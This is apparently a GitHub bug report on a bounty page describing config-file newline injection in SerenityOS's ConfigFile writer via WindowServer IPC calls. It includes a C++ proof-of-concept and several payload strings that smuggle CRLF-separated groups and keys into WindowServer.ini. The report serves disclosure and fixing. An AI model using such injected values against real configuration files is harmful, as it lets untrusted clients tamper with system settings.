Configuration files in SerenityOS are effectively INI files consisting of groups containing data in key=value
format. This is an extremely simple file format that stores one "entry" (one key/value pair) per line.
The Core::ConfigFile
class contains various read_*
and write_*
functions to read and write entries to and from configuration files.
These functions are named based on their expected input data type, such as write_bool_entry
for Boolean
data, write_num_entry
for numeric data, etc. The majority of these functions perform some form of validation for the input data to ensure the data is of the expected type, or transform the data into an expected format for storage.
However, the ConfigFile::write_entry()
is used for storing strings, and performs no additional validation (beyond ensuring that the input value
is a string as enforced by the argument type).
serenity/Libraries/LibCore/ConfigFile.cpp
Lines 150 to 154 in 82f86e3
As such, arbitrary binary data can be written directly to the configuration file, including input containing CRLF (\r\n
\x0d\x0a
), which permits injection of new entries in the configuration file.
It is also worth noting that the other write_*
functions wrap the write_entry
function, and no validation is performed on the group
or key
in any of these write_*
functions, which may also lead to injection.
serenity/Libraries/LibCore/ConfigFile.cpp
Lines 150 to 167 in 82f86e3
While this usually doesn't pose much of an issue, as configuration data usually consists of system generated data or is saved from input text fields, this does pose an issue when these write_*
functions are exposed to IPC endpoints.
WindowServer
exposes a few functions which use write_entry
to IPC clients:
$ grep -rn write_entry Services/
Services/WindowServer/WindowManager.cpp:1416: wm_config->write_entry("Theme", "Name", theme_name);
Services/WindowServer/Compositor.cpp:603: wm.config()->write_entry("Background", "Color", background_color);
Services/WindowServer/Compositor.cpp:615: wm.config()->write_entry("Background", "Mode", mode);
For example, the following program will inject a new group [Hello Friends]
containing a Haxed=true
entry into the WindowServer
configuration file /etc/WindowServer/WindowServer.ini
.
#include <AK/StringBuilder.h>
#include <LibGUI/Action.h>
#include <LibGUI/Application.h>
#include <LibGUI/BoxLayout.h>
#include <LibGUI/Button.h>
#include <LibGUI/Event.h>
#include <LibGUI/Icon.h>
#include <LibGUI/Label.h>
#include <LibGUI/MessageBox.h>
#include <LibGUI/Menu.h>
#include <LibGUI/Widget.h>
#include <LibGUI/Window.h>
#include <LibGUI/WindowServerConnection.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char** argv)
{
auto app = GUI::Application::construct(argc, argv);
auto window = GUI::Window::construct();
window->set_title("TestWindowServer");
window->set_resizable(true);
window->set_icon(Gfx::Bitmap::load_from_file("/res/icons/16x16/close-tab.png"));
window->set_window_type(GUI::WindowType::Normal);
window->set_fullscreen(false);
auto& main_widget = window->set_main_widget<GUI::Widget>();
main_widget.set_fill_with_background_color(true);
main_widget.set_background_color(Color::White);
auto& layout = main_widget.set_layout<GUI::VerticalBoxLayout>();
layout.set_margins({ 4, 4, 4, 4 });
auto& label = main_widget.add<GUI::Label>();
label.set_text("Hello friends");
window->show();
auto result = GUI::WindowServerConnection::the().send_sync<Messages::WindowServer::SetSystemTheme>("/res/themes/Default.ini", "Default\r\n\r\n[Hello Friends]\r\nHaxed=true");
return app->exec();
}
Similarly, entries can be injected with SetBackgroundColor
:
auto result = GUI::WindowServerConnection::the().send_sync<Messages::WindowServer::SetBackgroundColor>("green\n\n[Hello Friends]\nHaxed=true");
And SetWallpaperMode
:
auto result = GUI::WindowServerConnection::the().send_sync<Messages::WindowServer::SetWallpaperMode>("scaled\n\n[Hello Friends]\nHaxed=true");
The ini
userland application can also be used to demonstrate injection in group
, key
and value
:
Adding the security
label, as although there's currently no immediately obvious security repercussions, new line injection attacks against some configuration files (such as SystemServer
or LaunchServer
) would have an impact on security.
Pay now to fund the work behind this issue.
Get updates on progress being made.
Maintainer is rewarded once the issue is completed.
You're funding impactful open source efforts
You want to contribute to this effort
You want to get funding like this too